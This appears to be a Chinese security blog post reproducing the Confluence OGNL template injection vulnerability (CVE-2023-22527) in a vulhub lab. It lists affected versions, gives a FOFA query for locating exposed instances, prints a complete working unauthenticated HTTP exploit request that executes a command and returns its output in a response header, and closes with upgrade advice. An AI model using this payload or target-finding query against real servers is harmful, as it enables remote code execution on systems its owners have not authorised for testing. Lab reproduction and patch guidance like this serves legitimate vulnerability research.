Confluence 是由Atlassian公司开发的企业协作和文档管理工具。
Atlassian Confluence Data Center/Server 受影响版本中由于velocity vm模版可未授权访问,其中/aui/text-inline.vm使用findValue解析OGNL表达式,表达式过滤不严,导致存在模版注入漏洞。
攻击者可通过构造恶意请求,可以在未登录的情况下在Confluence实例上触发远程代码执行漏洞。
confluence_data_center@[8.0.0, 8.5.4)
confluence_server@[8.0.0, 8.5.4)
fofa:
app="ATLASSIAN-Confluence"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
本次漏洞复现环境采用P神的vulhub靶场
https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2023-22527
下载docker文件启动一个docker环境
docker compose up -d
环境启动后,访问http://your-ip:8090即可进入安装向导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书:
然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。
如果提示填写cluster node,路径填写/home/confluence即可:
后续可能要求你填写数据库账号密码,选择postgres数据库,地址为
db,账号密码均为postgres:
利用时直接发送带有payload的请求即可执行任意命令,返回的结果在HTTP返回头中。
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
将 confluence_data_center 升级至 8.5.4 及以上版本
将confluence_data_center升级至 8.6.0 及以上版本
将confluence_data_center升级至 8.7.1 及以上版本
将 confluence_server 升级至 8.5.4 及以上版本
??专注分享安全知识,大家可以关注一下我的微信公众号,谢谢大家!
不积跬步,无以至千里;不积小流,无以成江河。